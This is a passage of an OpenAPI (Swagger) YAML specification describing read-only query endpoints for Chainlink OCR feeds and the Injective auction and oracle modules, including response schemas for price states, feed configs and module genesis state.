description: feed-specific params for the Cosmos module. | |
type: object | |
properties: | |
feed_id: | |
type: string | |
title: feed_id is an unique ID for the target of this config | |
min_answer: | |
type: string | |
title: lowest answer the median of a report is allowed to be | |
max_answer: | |
type: string | |
title: highest answer the median of a report is allowed to be | |
link_per_observation: | |
type: string | |
title: Fixed LINK reward for each observer | |
link_per_transmission: | |
type: string | |
title: Fixed LINK reward for transmitter | |
link_denom: | |
type: string | |
title: Native denom for LINK coin in the bank keeper | |
unique_reports: | |
type: boolean | |
title: Enables unique reports | |
description: | |
type: string | |
title: >- | |
short human-readable description of observable this | |
feed's answers pertain | |
to | |
feed_admin: | |
type: string | |
title: feed administrator | |
billing_admin: | |
type: string | |
title: feed billing administrator | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: feed_id | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/chainlink/ocr/v1beta1/feed_config_info/{feed_id}: | |
get: | |
summary: Retrieves the OCR FeedConfigInfo for a given FeedId | |
operationId: FeedConfigInfo | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
feed_config_info: | |
type: object | |
properties: | |
latest_config_digest: | |
type: string | |
format: byte | |
f: | |
type: integer | |
format: int64 | |
'n': | |
type: integer | |
format: int64 | |
config_count: | |
type: string | |
format: uint64 | |
title: >- | |
config_count ordinal number of this config setting among | |
all config | |
settings | |
latest_config_block_number: | |
type: string | |
format: int64 | |
epoch_and_round: | |
type: object | |
properties: | |
epoch: | |
type: string | |
format: uint64 | |
round: | |
type: string | |
format: uint64 | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: feed_id | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/chainlink/ocr/v1beta1/latest_round/{feed_id}: | |
get: | |
summary: >- | |
Retrieves latest round ID and data, including median answer for that | |
round | |
operationId: LatestRound | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
latest_round_id: | |
type: string | |
format: uint64 | |
data: | |
type: object | |
properties: | |
answer: | |
type: string | |
observations_timestamp: | |
type: string | |
format: int64 | |
transmission_timestamp: | |
type: string | |
format: int64 | |
title: >- | |
Transmission records the median answer from the transmit | |
transaction at | |
time timestamp | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: feed_id | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/chainlink/ocr/v1beta1/latest_transmission_details/{feed_id}: | |
get: | |
summary: |- | |
LatestTransmissionDetails returns details about the latest trasmission | |
recorded on chain for the given feed ID. | |
operationId: LatestTransmissionDetails | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
config_digest: | |
type: string | |
format: byte | |
epoch_and_round: | |
type: object | |
properties: | |
epoch: | |
type: string | |
format: uint64 | |
round: | |
type: string | |
format: uint64 | |
data: | |
type: object | |
properties: | |
answer: | |
type: string | |
observations_timestamp: | |
type: string | |
format: int64 | |
transmission_timestamp: | |
type: string | |
format: int64 | |
title: >- | |
Transmission records the median answer from the transmit | |
transaction at | |
time timestamp | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: feed_id | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/chainlink/ocr/v1beta1/module_state: | |
get: | |
summary: Retrieves the entire OCR module's state | |
operationId: OcrModuleState | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
state: | |
type: object | |
properties: | |
params: | |
description: params defines all the parameters of related to OCR. | |
type: object | |
properties: | |
link_denom: | |
type: string | |
title: Native denom for LINK coin in the bank keeper | |
payout_block_interval: | |
type: string | |
format: uint64 | |
title: The block number interval at which payouts are made | |
module_admin: | |
type: string | |
title: The admin for the OCR module | |
feed_configs: | |
type: array | |
items: | |
type: object | |
properties: | |
signers: | |
type: array | |
items: | |
type: string | |
title: >- | |
signers ith element is address ith oracle uses to | |
sign a report | |
transmitters: | |
type: array | |
items: | |
type: string | |
title: >- | |
transmitters ith element is address ith oracle uses | |
to transmit a report | |
via the transmit method | |
f: | |
type: integer | |
format: int64 | |
title: >- | |
f maximum number of faulty/dishonest oracles the | |
protocol can tolerate | |
while still working correctly | |
onchain_config: | |
type: string | |
format: byte | |
description: >- | |
onchain_config serialized data with reporting plugin | |
params on chain. | |
offchain_config_version: | |
type: string | |
format: uint64 | |
title: >- | |
offchain_config_version version of the serialization | |
format used for | |
"offchain_config" parameter | |
offchain_config: | |
type: string | |
format: byte | |
title: >- | |
offchain_config serialized data used by oracles to | |
configure their offchain | |
operation | |
module_params: | |
description: feed-specific params for the Cosmos module. | |
type: object | |
properties: | |
feed_id: | |
type: string | |
title: >- | |
feed_id is an unique ID for the target of this | |
config | |
min_answer: | |
type: string | |
title: >- | |
lowest answer the median of a report is allowed | |
to be | |
max_answer: | |
type: string | |
title: >- | |
highest answer the median of a report is allowed | |
to be | |
link_per_observation: | |
type: string | |
title: Fixed LINK reward for each observer | |
link_per_transmission: | |
type: string | |
title: Fixed LINK reward for transmitter | |
link_denom: | |
type: string | |
title: Native denom for LINK coin in the bank keeper | |
unique_reports: | |
type: boolean | |
title: Enables unique reports | |
description: | |
type: string | |
title: >- | |
short human-readable description of observable | |
this feed's answers pertain | |
to | |
feed_admin: | |
type: string | |
title: feed administrator | |
billing_admin: | |
type: string | |
title: feed billing administrator | |
title: feed_configs stores all of the supported OCR feeds | |
latest_epoch_and_rounds: | |
type: array | |
items: | |
type: object | |
properties: | |
feed_id: | |
type: string | |
epoch_and_round: | |
type: object | |
properties: | |
epoch: | |
type: string | |
format: uint64 | |
round: | |
type: string | |
format: uint64 | |
title: >- | |
latest_epoch_and_rounds stores the latest epoch and round | |
for each feedId | |
feed_transmissions: | |
type: array | |
items: | |
type: object | |
properties: | |
feed_id: | |
type: string | |
transmission: | |
type: object | |
properties: | |
answer: | |
type: string | |
observations_timestamp: | |
type: string | |
format: int64 | |
transmission_timestamp: | |
type: string | |
format: int64 | |
title: >- | |
Transmission records the median answer from the | |
transmit transaction at | |
time timestamp | |
title: >- | |
feed_transmissions stores the last transmission for each | |
feed | |
latest_aggregator_round_ids: | |
type: array | |
items: | |
type: object | |
properties: | |
feed_id: | |
type: string | |
aggregator_round_id: | |
type: string | |
format: uint64 | |
title: >- | |
latest_aggregator_round_ids stores the latest aggregator | |
round ID for each | |
feedId | |
reward_pools: | |
type: array | |
items: | |
type: object | |
properties: | |
feed_id: | |
type: string | |
amount: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an | |
amount. | |
NOTE: The amount field is an Int which implements | |
the custom method | |
signatures required by gogoproto. | |
title: reward_pools stores the reward pools | |
feed_observation_counts: | |
type: array | |
items: | |
type: object | |
properties: | |
feed_id: | |
type: string | |
counts: | |
type: array | |
items: | |
type: object | |
properties: | |
address: | |
type: string | |
count: | |
type: string | |
format: uint64 | |
title: feed_observation_counts stores the feed observation counts | |
feed_transmission_counts: | |
type: array | |
items: | |
type: object | |
properties: | |
feed_id: | |
type: string | |
counts: | |
type: array | |
items: | |
type: object | |
properties: | |
address: | |
type: string | |
count: | |
type: string | |
format: uint64 | |
title: >- | |
feed_transmission_counts stores the feed transmission | |
counts | |
pending_payeeships: | |
type: array | |
items: | |
type: object | |
properties: | |
feed_id: | |
type: string | |
transmitter: | |
type: string | |
proposed_payee: | |
type: string | |
title: pending_payeeships stores the pending payeeships | |
description: GenesisState defines the OCR module's genesis state. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/chainlink/ocr/v1beta1/owed_amount/{transmitter}: | |
get: | |
summary: Retrieves transmitter's owed amount | |
operationId: OwedAmount | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
amount: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an amount. | |
NOTE: The amount field is an Int which implements the custom | |
method | |
signatures required by gogoproto. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: transmitter | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/chainlink/ocr/v1beta1/params: | |
get: | |
operationId: OcrParams | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
params: | |
type: object | |
properties: | |
link_denom: | |
type: string | |
title: Native denom for LINK coin in the bank keeper | |
payout_block_interval: | |
type: string | |
format: uint64 | |
title: The block number interval at which payouts are made | |
module_admin: | |
type: string | |
title: The admin for the OCR module | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/auction/v1beta1/basket: | |
get: | |
summary: Retrieves current auction basket with current highest bid and bidder | |
operationId: CurrentAuctionBasket | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
amount: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an amount. | |
NOTE: The amount field is an Int which implements the custom | |
method | |
signatures required by gogoproto. | |
title: amount describes the amount put on auction | |
auctionRound: | |
type: string | |
format: uint64 | |
title: auctionRound describes current auction round | |
auctionClosingTime: | |
type: string | |
format: int64 | |
title: auctionClosingTime describes auction close time for the round | |
highestBidder: | |
type: string | |
title: highestBidder describes highest bidder on current round | |
highestBidAmount: | |
type: string | |
title: highestBidAmount describes highest bid amount on current round | |
description: |- | |
QueryCurrentAuctionBasketResponse is the response type for the | |
Query/CurrentAuctionBasket RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/auction/v1beta1/module_state: | |
get: | |
summary: Retrieves the entire auction module's state | |
operationId: AuctionModuleState | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
state: | |
type: object | |
properties: | |
params: | |
description: params defines all the parameters of related to auction. | |
type: object | |
properties: | |
auction_period: | |
type: string | |
format: int64 | |
title: >- | |
auction_period_duration defines the auction period | |
duration | |
min_next_bid_increment_rate: | |
type: string | |
title: >- | |
min_next_bid_increment_rate defines the minimum | |
increment rate for new bids | |
auction_round: | |
type: string | |
format: uint64 | |
title: current auction round | |
highest_bid: | |
title: current highest bid | |
type: object | |
properties: | |
bidder: | |
type: string | |
amount: | |
type: string | |
auction_ending_timestamp: | |
type: string | |
format: int64 | |
title: auction ending timestamp | |
description: GenesisState defines the auction module's genesis state. | |
description: |- | |
QueryModuleStateResponse is the response type for the | |
Query/AuctionModuleState RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/auction/v1beta1/params: | |
get: | |
summary: Retrieves auction params | |
operationId: AuctionParams | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
params: | |
type: object | |
properties: | |
auction_period: | |
type: string | |
format: int64 | |
title: >- | |
auction_period_duration defines the auction period | |
duration | |
min_next_bid_increment_rate: | |
type: string | |
title: >- | |
min_next_bid_increment_rate defines the minimum increment | |
rate for new bids | |
description: >- | |
QueryAuctionParamsRequest is the response type for the | |
Query/AuctionParams | |
RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/oracle/v1beta1/band_ibc_price_states: | |
get: | |
summary: Retrieves the state for all band ibc price feeds | |
operationId: BandIBCPriceStates | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
price_states: | |
type: array | |
items: | |
type: object | |
properties: | |
symbol: | |
type: string | |
rate: | |
type: string | |
resolve_time: | |
type: string | |
format: uint64 | |
request_ID: | |
type: string | |
format: uint64 | |
price_state: | |
type: object | |
properties: | |
price: | |
type: string | |
cumulative_price: | |
type: string | |
timestamp: | |
type: string | |
format: int64 | |
description: |- | |
QueryBandIBCPriceStatesResponse is the response type for the | |
Query/BandIBCPriceStates RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/oracle/v1beta1/band_price_states: | |
get: | |
summary: Retrieves the state for all band price feeds | |
operationId: BandPriceStates | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
price_states: | |
type: array | |
items: | |
type: object | |
properties: | |
symbol: | |
type: string | |
rate: | |
type: string | |
resolve_time: | |
type: string | |
format: uint64 | |
request_ID: | |
type: string | |
format: uint64 | |
price_state: | |
type: object | |
properties: | |
price: | |
type: string | |
cumulative_price: | |
type: string | |
timestamp: | |
type: string | |
format: int64 | |
description: |- | |
QueryBandPriceStatesResponse is the response type for the | |
Query/BandPriceStates RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/oracle/v1beta1/band_relayers: | |
get: | |
summary: Retrieves the band relayers | |
operationId: BandRelayers | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
relayers: | |
type: array | |
items: | |
type: string | |
description: >- | |
QueryBandRelayersResponse is the response type for the | |
Query/BandRelayers RPC | |
method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/oracle/v1beta1/coinbase_price_states: | |
get: | |
summary: Retrieves the state for all coinbase price feeds | |
operationId: CoinbasePriceStates | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
price_states: | |
type: array | |
items: | |
type: object | |
properties: | |
kind: | |
type: string | |
title: kind should always be "prices" | |
timestamp: | |
type: string | |
format: uint64 | |
title: timestamp of the when the price was signed by coinbase | |
key: | |
type: string | |
title: the symbol of the price, e.g. BTC | |
value: | |
type: string | |
format: uint64 | |
title: the value of the price scaled by 1e6 | |
price_state: | |
type: object | |
properties: | |
price: | |
type: string | |
cumulative_price: | |
type: string | |
timestamp: | |
type: string | |
format: int64 | |
title: the price state | |
description: |- | |
QueryCoinbasePriceStatesResponse is the response type for the | |
Query/CoinbasePriceStates RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/oracle/v1beta1/historical_price_records: | |
get: | |
summary: Retrieves historical price records for a given OracleType and Symbol | |
operationId: HistoricalPriceRecords | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
price_records: | |
type: array | |
items: | |
type: object | |
properties: | |
oracle: | |
type: string | |
enum: | |
- Unspecified | |
- Band | |
- PriceFeed | |
- Coinbase | |
- Chainlink | |
- Razor | |
- Dia | |
- API3 | |
- Uma | |
- Pyth | |
- BandIBC | |
- Provider | |
default: Unspecified | |
symbol_id: | |
type: string | |
latest_price_records: | |
type: array | |
items: | |
type: object | |
properties: | |
timestamp: | |
type: string | |
format: int64 | |
price: | |
type: string | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: oracle | |
in: query | |
required: false | |
type: string | |
enum: | |
- Unspecified | |
- Band | |
- PriceFeed | |
- Coinbase | |
- Chainlink | |
- Razor | |
- Dia | |
- API3 | |
- Uma | |
- Pyth | |
- BandIBC | |
- Provider | |
default: Unspecified | |
- name: symbol_id | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/injective/oracle/v1beta1/module_state: | |
get: | |
summary: Retrieves the entire oracle module's state | |
operationId: OracleModuleState | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
state: | |
type: object | |
properties: | |
params: | |
description: params defines all the parameters of related to oracle. | |
type: object | |
properties: | |
pyth_contract: | |
type: string | |
band_relayers: | |
type: array | |
items: | |
type: string | |
band_price_states: | |
type: array | |
items: | |
type: object | |
properties: | |
symbol: | |
type: string | |
rate: | |
type: string | |
resolve_time: | |
type: string | |
format: uint64 | |
request_ID: | |
type: string | |
format: uint64 | |
price_state: | |
type: object | |
properties: | |
price: | |
type: string | |
cumulative_price: | |
type: string | |
timestamp: | |
type: string | |
format: int64 | |
price_feed_price_states: | |
type: array | |
items: | |
type: object | |
properties: | |
base: | |
type: string | |
quote: | |
type: string | |
price_state: | |
type: object | |
properties: | |
price: | |
type: string | |
cumulative_price: | |
type: string | |
timestamp: | |
type: string | |
format: int64 | |
relayers: | |
type: array | |
items: | |
type: string | |
coinbase_price_states: | |
type: array | |
items: | |
type: object | |
properties: | |
kind: | |
type: string | |
title: kind should always be "prices" | |
timestamp: | |
type: string | |
format: uint64 | |
title: >- | |
timestamp of the when the price was signed by | |
coinbase | |
key: | |
type: string | |
title: the symbol of the price, e.g. BTC | |
value: | |
type: string | |
format: uint64 | |
title: the value of the price scaled by 1e6 | |
price_state: | |
type: object | |
properties: | |
price: | |
type: string | |
cumulative_price: | |
type: string | |
timestamp: | |
type: string | |
format: int64 | |
title: the price state | |
band_ibc_price_states: | |
type: array | |
items: | |
type: object | |
properties: | |
symbol: | |
type: string | |
rate: | |
type: string | |
resolve_time: | |
type: string | |
format: uint64 | |
request_ID: | |
type: string | |
format: uint64 | |
price_state: | |
type: object | |
properties: | |
price: | |
type: string | |
cumulative_price: | |
type: string | |
timestamp: | |
type: string | |
format: int64 | |
band_ibc_oracle_requests: | |
type: array | |
items: | |
type: object | |
properties: | |
request_id: | |
type: string | |
format: uint64 | |
title: Unique Identifier for band ibc oracle request | |
oracle_script_id: | |
type: string | |
format: int64 | |
description: >- | |
OracleScriptID is the unique identifier of the | |
oracle script to be | |
executed. | |
symbols: | |
type: array | |
items: | |
type: string | |
title: >- | |
Symbols is the list of symbols to prepare in the | |
calldata | |
ask_count: | |
type: string | |
format: uint64 | |
description: >- | |
AskCount is the number of validators that are | |
requested to respond to this | |
oracle request. Higher value means more security, at | |
a higher gas cost. | |
min_count: | |
type: string | |
format: uint64 | |
description: >- | |
MinCount is the minimum number of validators | |
necessary for the request to | |
proceed to the execution phase. Higher value means | |
more security, at the | |
cost of liveness. | |
fee_limit: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an | |
amount. | |
NOTE: The amount field is an Int which implements | |
the custom method | |
signatures required by gogoproto. | |
description: >- | |
FeeLimit is the maximum tokens that will be paid to | |
all data source | |
providers. | |
prepare_gas: | |
type: string | |
format: uint64 | |
title: >- | |
PrepareGas is amount of gas to pay to prepare raw | |
requests | |
execute_gas: | |
type: string | |
format: uint64 | |
title: ExecuteGas is amount of gas to reserve for executing | |
min_source_count: | |
type: string | |
format: uint64 | |
title: >- | |
MinSourceCount is the minimum number of data sources | |
that must be used by | |
each validator | |
band_ibc_params: | |
type: object | |
properties: | |
band_ibc_enabled: | |
type: boolean | |
title: true if Band IBC should be enabled | |
ibc_request_interval: | |
type: string | |
format: int64 | |
title: block request interval to send Band IBC prices | |
ibc_source_channel: | |
type: string | |
title: band IBC source channel | |
ibc_version: | |
type: string | |
title: band IBC version | |
ibc_port_id: | |
type: string | |
title: band IBC portID | |
legacy_oracle_ids: | |
type: array | |
items: | |
type: string | |
format: int64 | |
title: legacy oracle scheme ids | |
band_ibc_latest_client_id: | |
type: string | |
format: uint64 | |
calldata_records: | |
type: array | |
items: | |
type: object | |
properties: | |
client_id: | |
type: string | |
format: uint64 | |
calldata: | |
type: string | |
format: byte | |
band_ibc_latest_request_id: | |
type: string | |
format: uint64 | |
chainlink_price_states: | |
type: array | |
items: | |
type: object | |
properties: | |
feed_id: | |
type: string | |
answer: | |
type: string | |
timestamp: | |
type: string | |
format: uint64 | |
price_state: | |
type: object | |
properties: | |
price: | |
type: string | |
cumulative_price: | |
type: string | |
timestamp: | |
type: string | |
format: int64 | |
historical_price_records: | |
type: array | |
items: | |
type: object | |
properties: | |
oracle: | |
type: string | |
enum: | |
- Unspecified | |
- Band | |
- PriceFeed | |
- Coinbase | |
- Chainlink | |
- Razor | |
- Dia | |
- API3 | |
- Uma | |
- Pyth | |
- BandIBC | |
- Provider | |
default: Unspecified | |
symbol_id: | |
type: string | |
latest_price_records: | |
type: array | |
items: | |
type: object | |
properties: | |
timestamp: | |
type: string | |
format: int64 | |
price: | |
type: string | |
provider_states: | |
type: array | |
items: | |
type: object | |
properties: | |
provider_info: | |
type: object | |
properties: | |
provider: | |
type: string | |
relayers: | |
type: array | |
items: | |
type: string | |
provider_price_states: | |
type: array | |
items: | |
type: object | |
properties: | |
symbol: | |
type: string | |
state: | |
type: object | |
properties: | |
price: | |
type: string | |
cumulative_price: | |
type: string | |
timestamp: | |
type: string | |
format: int64 | |
pyth_price_states: | |
type: array | |
items: | |
type: object | |
properties: | |
price_id: | |
type: string | |
ema_price: | |
type: string | |
ema_conf: | |
type: string | |
conf: | |
type: string | |
publish_time: | |
type: string | |
format: uint64 | |
price_state: | |
type: object | |
properties: | |
price: | |
type: string | |
cumulative_price: | |
type: string | |
timestamp: | |
type: string | |
format: int64 | |
description: GenesisState defines the oracle module's genesis state. | |
description: >- | |
QueryModuleStateResponse is the response type for the | |
Query/OracleModuleState | |
RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/oracle/v1beta1/params: | |
get: | |
summary: Retrieves oracle params | |
operationId: OracleParams | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
params: | |
type: object | |
properties: | |
pyth_contract: | |
type: string | |
description: >- | |
QueryOracleParamsResponse is the response type for the | |
Query/OracleParams RPC | |
method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/oracle/v1beta1/price: | |
get: | |
operationId: OraclePrice | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
price_pair_state: | |
type: object | |
properties: | |
pair_price: | |
type: string | |
base_price: | |
type: string | |
quote_price: | |
type: string | |
base_cumulative_price: | |
type: string | |
quote_cumulative_price: | |
type: string | |
base_timestamp: | |
type: string | |
format: int64 | |
quote_timestamp: | |
type: string | |
format: int64 | |
description: >- | |
QueryOraclePriceResponse is the response type for the | |
Query/OraclePrice RPC | |
method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: oracle_type | |
in: query | |
required: false | |
type: string | |
enum: | |
- Unspecified | |
- Band | |
- PriceFeed | |
- Coinbase | |
- Chainlink | |
- Razor | |
- Dia | |
- API3 | |
- Uma | |
- Pyth | |
- BandIBC | |
- Provider | |
default: Unspecified | |
- name: base | |
in: query | |
required: false | |
type: string | |
- name: quote | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/injective/oracle/v1beta1/pricefeed_price_states: | |
get: | |
summary: Retrieves the state for all price feeds | |
operationId: PriceFeedPriceStates | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
price_states: | |
type: array | |
items: | |
type: object | |
properties: | |
base: | |
type: string | |
quote: | |
type: string | |
price_state: | |
type: object | |
properties: | |
price: | |
type: string | |
cumulative_price: | |
type: string | |
timestamp: | |
type: string | |
format: int64 | |
relayers: | |
type: array | |
items: | |
type: string | |
description: |- | |
QueryPriceFeedPriceStatesResponse is the response type for the | |
Query/PriceFeedPriceStates RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/oracle/v1beta1/provider_price_state/{provider}/{symbol}: | |
get: | |
summary: Retrieves the state for all provider price feeds | |
operationId: ProviderPriceState | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
price_state: | |
type: object | |
properties: | |
price: | |
type: string | |
cumulative_price: | |
type: string | |
timestamp: | |
type: string | |
format: int64 | |
description: |- | |
QueryProviderPriceStatesResponse is the response type for the | |
Query/ProviderPriceStates RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: provider | |
in: path | |
required: true | |
type: string | |
- name: symbol | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/oracle/v1beta1/provider_prices: | |
get: | |
operationId: OracleProviderPrices | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
providerState: | |
type: array | |
items: | |
type: object | |
properties: | |
provider_info: | |
type: object | |
properties: | |
provider: | |
type: string | |
relayers: | |
type: array | |
items: | |
type: string | |
provider_price_states: | |
type: array | |
items: | |
type: object | |
properties: | |
symbol: | |
type: string | |
state: | |
type: object | |
properties: | |
price: | |
type: string | |
cumulative_price: | |
type: string | |
timestamp: | |
type: string | |
format: int64 | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: provider | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/injective/oracle/v1beta1/providers: | |
get: | |
operationId: OracleProvidersInfo | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
providers: | |
type: array | |
items: | |
type: object | |
properties: | |
provider: | |
type: string | |
relayers: | |
type: array | |
items: | |
type: string | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/oracle/v1beta1/pyth_price: | |
get: | |
operationId: PythPrice | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
